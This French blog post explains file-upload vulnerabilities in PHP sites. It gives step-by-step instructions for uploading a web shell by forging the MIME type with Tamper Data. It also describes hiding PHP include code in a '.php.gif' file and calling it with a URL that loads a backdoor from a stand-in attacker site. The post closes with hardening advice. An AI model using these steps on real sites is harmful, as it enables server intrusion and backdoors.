Magazine High tech

Faille Upload, comment l’exploiter et s’en protéger

Publié le 10 octobre 2013 par Ahmed El Jaouari @funinformatique

L’upload permet le transfert des fichiers depuis votre machine qui est le client vers le site qui est le serveur, mais souvent les scripts d’upload contiennent des vulnérabilités.

La faille upload est une faille permettant d’uploader des fichiers avec une extension non autorisée, cette faille est due à la mauvaise configuration du script d’upload ou à l’absence complète de sécurité. Celle ci est généralement présente dans les scripts d’upload d’images.

En quoi ça consiste ?

Le but de cette faille est d’uploader un fichier avec une extension non autorisée. (Par exemple un code php) de façon à avoir un accès au serveur cible.

Comment l’exploitée ?

Dans cette partie , je vais vous expliquer les différentes manières d’exploiter la faille Upload .

 Methode 1 : Bypass mime vérification

Le type MIME, c’est le renseignement donné par $_FILES['monFichier']['type']
Certains scripts ne font que vérifier si le mime correspond aux types de fichiers autorisés par contre une vérification de mime n’est pas suffisante parce qu’un pirate peut bypasser cette vérification en suivant ces étapes:

1 . Télécharger Firefox

2. Télécharger Tamper Data que vous pourrez trouver à l’adresse suivante: Télécharger

3. Ouvrir un site vulnérable qui contient un script d’uplod

4.  Démarrer « Tamper Data »

5. Démarrer l’altération

Pour démarrer l’altération, ouvrez Firefox puis cliquez sur « outils » ensuite sur « altérer données » et enfin « démarrer altération ».

205653 195508270488412 144338242272082 457514 4355128 n Faille Upload, comment lexploiter et sen protéger

6. Maintenant sélectionner un fichier php que vous voulez uploder et cliquer sur uploder.

205555 195508577155048 1443382422mmm72082 457515 287833 n Faille Upload, comment lexploiter et sen protéger

7. Une nouvelle fenêtre s’ouvre, cliquer sur Altérer

8. Vous avez le « header ». Maintenant dans POST_DATA, changer « application/octet-stream » par « image/jpg » puis cliquez sur OK et admirer le résultat.

205555 195508577155048 144338242272082 457515 287833 n Faille Upload, comment lexploiter et sen protéger

le Shell a été uploadé avec succès !  Il est passé pour une image jpg.

Le pirate peut maintenant exécuter le fichier PHP avec l’adresse URL de ce dernier.

206937 195508703821702 144338242272082 457516 4789970 n Faille Upload, comment lexploiter et sen protéger

Methode 2 : Double extension

Certains scripts ne font que vérifier l’extension du fichier, encore cette protection peut être bypasser par un pirate en faisant une double extension (suivant les hébergeurs).

On va d’abord créer un fichier gif  Pour cela, ouvrez paint, créer une image de quelques pixels.

Ensuite, on ouvre notre gif avec un éditeur hexadécimal (pour moi hexiwin, c’est le meilleur).

Maintenant imaginons que l’on insère du code php dans notre gif et qu’on lui met une double extension (.php.gif).

Dans notre éditeur, on trouve un espace vide pour y rajouter un en-tête html ainsi que la fonction include.

On se retrouve donc avec notre fichier.php.gif

On l’upload, et maintenant l’upload se passe correctement

icon smile Faille Upload, comment lexploiter et sen protéger

On se rend à notre fichier.php.gif?test=http://www.sitepirate.com/backdoor.php

Et voila donc notre backdoor est mis en place :p

Sécurisation d’upload

Voici quelques conseils, qui vous permettront de sécuriser cet faille :

  • Ne jamais se fier à ce que peut envoyer le client.
  • Vérifier la configuration d’Apache afin d’agir en conséquence.
  •  Ne pas placer le .htaccess dans le répertoire d’upload
  • Ne pas permettre l’écrasement de fichier
  • Générer un nom aléatoire pour le fichier uploadé et enregistrer le nom dans une base de données.
  • Ne pas permettre de voir l’index of du répertoire d’upload.
  • Assigner les bonnes permissions au répertoire.
  • Vérifier le mime-type avec getimagesize() et l’extension du fichier.

Pour plus de nouveautés, merci de vous abonner à la newsletter du blog ou à son flux RSS. N’hésitez pas aussi à faire un tour sur Twitter, Google+ ou encore Facebook pour d’autres news.

Recherches qui ont permis de trouver cet article:

faille upload, faille upload type mime, faille upload tamper data, upload shell, upoload faille, faille upload file, le gif est protege, Le mime type du fichier nest pas autorisé ! (application/octet-stream), la faille upload, mime bypass upload php


Retour à La Une de Logo Paperblog

A propos de l’auteur


Ahmed El Jaouari 25328 partages Voir son profil
Voir son blog

Magazines